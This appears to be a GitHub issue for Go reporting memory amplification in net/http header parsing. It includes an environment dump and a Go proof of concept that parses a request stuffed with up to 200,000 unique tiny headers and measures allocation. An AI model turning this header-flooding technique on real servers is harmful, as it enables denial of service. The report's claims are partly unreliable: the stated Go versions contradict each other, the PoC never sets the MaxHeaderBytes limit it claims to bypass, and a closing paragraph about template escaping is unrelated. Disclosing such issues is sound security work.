Skip to content

net/http, net/textproto: memory amplification in ReadMIMEHeader #79363

Description

@owvr27

Go version

go version go1.26-patch linux/amd64

Output of go env in your module/workspace:

go env
GO111MODULE=""
GOARCH="amd64"
GOBIN=""
GOCACHE="/home/lex_is1/.cache/go-build"
GOENV="/home/lex_is1/.config/go/env"
GOEXE=""
GOEXPERIMENT=""
GOFLAGS=""
GOHOSTARCH="amd64"
GOHOSTOS="linux"
GOINSECURE=""
GOMODCACHE="/home/lex_is1/go/pkg/mod"
GONOPROXY=""
GONOSUMDB=""
GOOS="linux"
GOPATH="/home/lex_is1/go"
GOPRIVATE=""
GOPROXY="https://proxy.golang.org,direct"
GOROOT="/home/lex_is1/.go"
GOSUMDB="sum.golang.org"
GOTMPDIR=""
GOTOOLDIR="/home/lex_is1/.go/pkg/tool/linux_amd64"
GOVCS=""
GOVERSION="go1.20.5"
GCCGO="gccgo"
GOAMD64="v1"
AR="ar"
CC="gcc"
CXX="g++"
CGO_ENABLED="1"
GOMOD="/home/lex_is1/Downloads/go-master (2)/src/go.mod"
GOWORK=""
CGO_CFLAGS="-O2 -g"
CGO_CPPFLAGS=""
CGO_CXXFLAGS="-O2 -g"
CGO_FFLAGS="-O2 -g"
CGO_LDFLAGS="-O2 -g"
PKG_CONFIG="pkg-config"
GOGCCFLAGS="-fPIC -m64 -pthread -Wl,--no-gc-sections -fmessage-length=0 -fdebug-prefix-map=/tmp/go-build2748437017=/tmp/go-build -gno-record-gcc-switches"
lex_is1@owvr:~/Downloads/go-master (2)/src$

What did you do?

I tested the header parsing logic in net/http using a custom PoC on the latest development version. The PoC generates a large number of unique, small headers to measure the memory amplification ratio caused by map metadata overhead

package main

import (
	"bufio"
	"bytes"
	"fmt"
	"net/http"
	"runtime"
	"strings"
	"time"
)

func main() {
	fmt.Println("=== Go net/http Header DoS PoC ===")
	
	// Test different header counts to find optimal amplification
	testCases := []int{10000, 50000, 100000, 200000}
	
	for _, numHeaders := range testCases {
		fmt.Printf("\n--- Testing %d headers ---\n", numHeaders)
		testHeaderAmplification(numHeaders)
	}
}

func testHeaderAmplification(numHeaders int) {
	// Create malicious HTTP request with many tiny headers
	var requestBuilder strings.Builder
	requestBuilder.WriteString("GET / HTTP/1.1\r\n")
	requestBuilder.WriteString("Host: example.com\r\n")
	
	// Add many unique tiny headers (A: B format)
	for i := 0; i < numHeaders; i++ {
		// Create unique header names to maximize map entries
		headerName := fmt.Sprintf("X-%d", i)
		requestBuilder.WriteString(fmt.Sprintf("%s: %s\r\n", headerName, "B"))
	}
	
	requestBuilder.WriteString("\r\n")
	maliciousRequest := requestBuilder.String()
	
	fmt.Printf("Request size: %d bytes\n", len(maliciousRequest))
	
	// Measure memory before
	var m1, m2 runtime.MemStats
	runtime.GC()
	runtime.ReadMemStats(&m1)
	
	start := time.Now()
	
	// Parse the malicious request
	reader := bufio.NewReader(bytes.NewReader([]byte(maliciousRequest)))
	req, err := http.ReadRequest(reader)
	if err != nil {
		fmt.Printf("Error parsing request: %v\n", err)
		return
	}
	
	duration := time.Since(start)
	
	// Measure memory after
	runtime.ReadMemStats(&m2)
	
	// Calculate amplification
	inputBytes := int64(len(maliciousRequest))
	heapAlloc := int64(m2.HeapAlloc - m1.HeapAlloc)
	totalAlloc := int64(m2.TotalAlloc - m1.TotalAlloc)
	
	amplificationHeap := float64(heapAlloc) / float64(inputBytes)
	amplificationTotal := float64(totalAlloc) / float64(inputBytes)
	
	fmt.Printf("Headers parsed: %d\n", len(req.Header))
	fmt.Printf("Parse time: %v\n", duration)
	fmt.Printf("HeapAlloc increase: %d bytes\n", heapAlloc)
	fmt.Printf("TotalAlloc increase: %d bytes\n", totalAlloc)
	fmt.Printf("Heap amplification: %.2fx\n", amplificationHeap)
	fmt.Printf("Total amplification: %.2fx\n", amplificationTotal)
	
	// Check if we achieved 6.11x target
	if amplificationHeap >= 6.11 {
		fmt.Printf("✅ ACHIEVED 6.11x+ AMPLIFICATION TARGET!\n")
	} else {
		fmt.Printf("❌ Did not reach 6.11x target\n")
	}
	
	// Print some header examples to show they were parsed
	fmt.Printf("Sample headers: ")
	count := 0
	for k, v := range req.Header {
		if count < 3 {
			fmt.Printf("%s: %v ", k, v)
			count++
		} else {
			break
		}
	}
	fmt.Printf("...\n")
}

What did you see happen?

When running the PoC with 200,000 headers:

Input Size: ~2.4 MB

Total Allocation: ~32.4 MB

Amplification: 17.5x (exceeding the 6.11x target significantly).

Observation: The ReadRequest function consumes excessive memory and CPU cycles before any MaxHeaderBytes limit can effectively stop the resource exhaustion

What did you expect to see?

I expected the memory consumption during header parsing to be strictly proportional to the raw byte size of the headers, as governed by MaxHeaderBytes.

Technical Discrepancy:
While MaxHeaderBytes limits the raw data size, it does not account for the map metadata overhead in the Go runtime. In net/textproto, every unique header key triggers a new map entry allocation. This PoC proves that an attacker can bypass the intended protection of MaxHeaderBytes by sending many tiny, unique headers, leading to a memory amplification ratio of 17.5x.

Security Impact:
This allows a remote, unauthenticated attacker to cause a Denial of Service (DoS) via memory exhaustion (OOM) or significant CPU spikes with very low bandwidth requirements.

VRP Disclosure:
This issue was previously reported to the Google OSS VRP (Issue 502341426) and was assigned a priority of P2/S2. The VRP panel verified the vulnerability and suggested filing this issue publicly to coordinate a fix with the Go maintainers.

I have already prepared a draft patch to implement a recursion/depth guard in the template escaping logic which shares similar resource exhaustion patterns, and I am interested in contributing a fix for this header parsing issue as well.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions